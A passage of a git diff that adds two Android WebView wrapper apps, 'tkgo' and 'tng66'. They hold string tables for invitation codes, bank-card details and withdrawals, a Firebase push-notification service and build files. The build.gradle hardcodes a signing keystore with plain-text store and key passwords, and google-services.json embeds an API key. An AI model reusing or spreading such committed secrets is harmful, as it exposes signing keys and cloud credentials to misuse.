a/tkgo/src/main/res/mipmap-xhdpi/ic_email.png b/tkgo/src/main/res/mipmap-xhdpi/ic_email.png new file mode 100644 index 0000000..9fc3a42 Binary files /dev/null and b/tkgo/src/main/res/mipmap-xhdpi/ic_email.png differ diff --git a/tkgo/src/main/res/mipmap-xhdpi/ic_email1.png b/tkgo/src/main/res/mipmap-xhdpi/ic_email1.png new file mode 100644 index 0000000..9fc3a42 Binary files /dev/null and b/tkgo/src/main/res/mipmap-xhdpi/ic_email1.png differ diff --git a/tkgo/src/main/res/mipmap-xhdpi/ic_facebook.png b/tkgo/src/main/res/mipmap-xhdpi/ic_facebook.png new file mode 100644 index 0000000..de378dc Binary files /dev/null and b/tkgo/src/main/res/mipmap-xhdpi/ic_facebook.png differ diff --git a/tkgo/src/main/res/mipmap-xhdpi/ic_hometo.png b/tkgo/src/main/res/mipmap-xhdpi/ic_hometo.png new file mode 100644 index 0000000..4e93043 Binary files /dev/null and b/tkgo/src/main/res/mipmap-xhdpi/ic_hometo.png differ diff --git a/tkgo/src/main/res/mipmap-xhdpi/ic_link.png b/tkgo/src/main/res/mipmap-xhdpi/ic_link.png new file mode 100644 index 0000000..2f98612 Binary files /dev/null and b/tkgo/src/main/res/mipmap-xhdpi/ic_link.png differ diff --git a/tkgo/src/main/res/mipmap-xhdpi/ic_menu.png b/tkgo/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/tkgo/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/tkgo/src/main/res/mipmap-xhdpi/ic_notify_email.png b/tkgo/src/main/res/mipmap-xhdpi/ic_notify_email.png new file mode 100644 index 0000000..5a2df8e Binary files /dev/null and b/tkgo/src/main/res/mipmap-xhdpi/ic_notify_email.png differ diff --git a/tkgo/src/main/res/mipmap-xhdpi/ic_notify_normal.png b/tkgo/src/main/res/mipmap-xhdpi/ic_notify_normal.png new file mode 100644 index 0000000..f056d32 Binary files /dev/null and b/tkgo/src/main/res/mipmap-xhdpi/ic_notify_normal.png differ diff --git a/tkgo/src/main/res/mipmap-xhdpi/ic_notify_shangla.png b/tkgo/src/main/res/mipmap-xhdpi/ic_notify_shangla.png new file mode 100644 index 0000000..eb1d3e9 Binary files /dev/null and b/tkgo/src/main/res/mipmap-xhdpi/ic_notify_shangla.png differ diff --git a/tkgo/src/main/res/mipmap-xhdpi/ic_notify_xiala.png b/tkgo/src/main/res/mipmap-xhdpi/ic_notify_xiala.png new file mode 100644 index 0000000..7999f63 Binary files /dev/null and b/tkgo/src/main/res/mipmap-xhdpi/ic_notify_xiala.png differ diff --git a/tkgo/src/main/res/mipmap-xhdpi/ic_notifylogo.png b/tkgo/src/main/res/mipmap-xhdpi/ic_notifylogo.png new file mode 100644 index 0000000..b975e45 Binary files /dev/null and b/tkgo/src/main/res/mipmap-xhdpi/ic_notifylogo.png differ diff --git a/tkgo/src/main/res/mipmap-xhdpi/ic_shousuo.png b/tkgo/src/main/res/mipmap-xhdpi/ic_shousuo.png new file mode 100644 index 0000000..16b38be Binary files /dev/null and b/tkgo/src/main/res/mipmap-xhdpi/ic_shousuo.png differ diff --git a/tkgo/src/main/res/mipmap-xhdpi/ic_tel.png b/tkgo/src/main/res/mipmap-xhdpi/ic_tel.png new file mode 100644 index 0000000..df82270 Binary files /dev/null and b/tkgo/src/main/res/mipmap-xhdpi/ic_tel.png differ diff --git a/tkgo/src/main/res/mipmap-xhdpi/ic_whatsapp.png b/tkgo/src/main/res/mipmap-xhdpi/ic_whatsapp.png new file mode 100644 index 0000000..7ca41ed Binary files /dev/null and b/tkgo/src/main/res/mipmap-xhdpi/ic_whatsapp.png differ diff --git a/tkgo/src/main/res/mipmap-xhdpi/ic_zhangkai.png b/tkgo/src/main/res/mipmap-xhdpi/ic_zhangkai.png new file mode 100644 index 0000000..bdc84b3 Binary files /dev/null and b/tkgo/src/main/res/mipmap-xhdpi/ic_zhangkai.png differ diff --git a/tkgo/src/main/res/mipmap-xxhdpi/hey_girl.png b/tkgo/src/main/res/mipmap-xxhdpi/hey_girl.png new file mode 100644 index 0000000..4aa4d43 Binary files /dev/null and b/tkgo/src/main/res/mipmap-xxhdpi/hey_girl.png differ diff --git a/tkgo/src/main/res/values-en/strings.xml b/tkgo/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..e7ff90d --- /dev/null +++ b/tkgo/src/main/res/values-en/strings.xml @@ -0,0 +1,54 @@ + + Please Set Your Password + Cancel + TkGo + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + No additional data available for now + NOTIFICATIONS + \ No newline at end of file diff --git a/tkgo/src/main/res/values-night/themes.xml b/tkgo/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..938757c --- /dev/null +++ b/tkgo/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tkgo/src/main/res/values/colors.xml b/tkgo/src/main/res/values/colors.xml new file mode 100644 index 0000000..153f257 --- /dev/null +++ b/tkgo/src/main/res/values/colors.xml @@ -0,0 +1,22 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFF + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + #FFFFFF + #BDDDB7 + #C3B5D0 + + \ No newline at end of file diff --git a/tkgo/src/main/res/values/strings.xml b/tkgo/src/main/res/values/strings.xml new file mode 100644 index 0000000..488a521 --- /dev/null +++ b/tkgo/src/main/res/values/strings.xml @@ -0,0 +1,76 @@ + + 请输入6位密码 + TkGo + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + 暂无更多数据 + 通知 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tkgo/src/main/res/values/themes.xml b/tkgo/src/main/res/values/themes.xml new file mode 100644 index 0000000..5f08031 --- /dev/null +++ b/tkgo/src/main/res/values/themes.xml @@ -0,0 +1,88 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tkgo/src/main/res/xml/app_updater_paths.xml b/tkgo/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/tkgo/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/tkgo/src/main/res/xml/network_security_config.xml b/tkgo/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/tkgo/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/tkgo/src/main/res/xml/provider_paths.xml b/tkgo/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/tkgo/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/tkgo/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/tkgo/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/tkgo/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/tng66/.gitignore b/tng66/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/tng66/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/tng66/build.gradle b/tng66/build.gradle new file mode 100644 index 0000000..b39a8b6 --- /dev/null +++ b/tng66/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.tng66" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + release { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "tng66" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base') +} \ No newline at end of file diff --git a/tng66/google-services.json b/tng66/google-services.json new file mode 100644 index 0000000..696441a --- /dev/null +++ b/tng66/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "704934727822", + "project_id": "touch-n-go-66", + "storage_bucket": "touch-n-go-66.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:704934727822:android:31cb648b928d942d9679df", + "android_client_info": { + "package_name": "com.web.tng66" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyCWPzgZTQO8ABUSF53WZ4NpGPtRfvMARPQ" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/tng66/ppn.jks b/tng66/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/tng66/ppn.jks differ diff --git a/tng66/proguard-rules.pro b/tng66/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/tng66/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/tng66/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/tng66/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/tng66/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/tng66/src/main/AndroidManifest.xml b/tng66/src/main/AndroidManifest.xml new file mode 100644 index 0000000..50443b4 --- /dev/null +++ b/tng66/src/main/AndroidManifest.xml @@ -0,0 +1,113 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tng66/src/main/java/com/web/tng66/MainActivity.java b/tng66/src/main/java/com/web/tng66/MainActivity.java new file mode 100644 index 0000000..b4fe508 --- /dev/null +++ b/tng66/src/main/java/com/web/tng66/MainActivity.java @@ -0,0 +1,44 @@ +package com.web.tng66; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 150; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://tng66.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#ffffff"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#0257bb"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/tng66/src/main/java/com/web/tng66/MyFirebaseMessageingService.java b/tng66/src/main/java/com/web/tng66/MyFirebaseMessageingService.java new file mode 100644 index 0000000..b3b41b3 --- /dev/null +++ b/tng66/src/main/java/com/web/tng66/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.tng66; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/tng66/src/main/java/com/web/tng66/WebApplication.java b/tng66/src/main/java/com/web/tng66/WebApplication.java new file mode 100644 index 0000000..5b0c428 --- /dev/null +++ b/tng66/src/main/java/com/web/tng66/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.tng66; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/tng66/src/main/res/drawable-anydpi/ic_action_back.xml b/tng66/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/tng66/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/tng66/src/main/res/drawable-hdpi/ic_action_back.png b/tng66/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/tng66/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/tng66/src/main/res/drawable-mdpi/ic_action_back.png b/tng66/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/tng66/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/tng66/src/main/res/drawable-v24/ic_launcher_foreground.xml b/tng66/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/tng66/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/tng66/src/main/res/drawable-xhdpi/ic_action_back.png b/tng66/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/tng66/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/tng66/src/main/res/drawable-xxhdpi/ic_action_back.png b/tng66/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/tng66/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/tng66/src/main/res/drawable/big_bg.xml b/tng66/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..c6bc371 --- /dev/null +++ b/tng66/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/tng66/src/main/res/drawable/ic_launcher_background.xml b/tng66/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/tng66/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/tng66/src/main/res/drawable/input_bg.xml b/tng66/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/tng66/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/tng66/src/main/res/drawable/pass_word_bg.xml b/tng66/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/tng66/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/tng66/src/main/res/drawable/pass_word_bg1.xml b/tng66/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/tng66/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/tng66/src/main/res/drawable/pass_word_bg2.xml b/tng66/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/tng66/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/tng66/src/main/res/drawable/shape_btn_bg.xml b/tng66/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/tng66/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/tng66/src/main/res/drawable/shape_dialog_bg2.xml b/tng66/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/tng66/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/tng66/src/main/res/drawable/shape_dialog_bg3.xml b/tng66/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/tng66/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/tng66/src/main/res/drawable/shape_dialog_bg_new.xml b/tng66/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/tng66/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/tng66/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/tng66/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/tng66/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/tng66/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/tng66/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/tng66/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/tng66/src/main/res/mipmap-hdpi/ic_empty.png b/tng66/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/tng66/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/tng66/src/main/res/mipmap-hdpi/ic_pull_down.png b/tng66/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/tng66/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/tng66/src/main/res/mipmap-xhdpi/ic_close.png b/tng66/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/tng66/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/tng66/src/main/res/mipmap-xhdpi/ic_menu.png b/tng66/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/tng66/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/tng66/src/main/res/mipmap-xxhdpi/app_logo.jpg b/tng66/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..957c36e Binary files /dev/null and b/tng66/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/tng66/src/main/res/values-en/strings.xml b/tng66/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/tng66/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/tng66/src/main/res/values-night/themes.xml b/tng66/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3b0f1a2 --- /dev/null +++ b/tng66/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tng66/src/main/res/values/colors.xml b/tng66/src/main/res/values/colors.xml new file mode 100644 index 0000000..7895913 --- /dev/null +++ b/tng66/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + 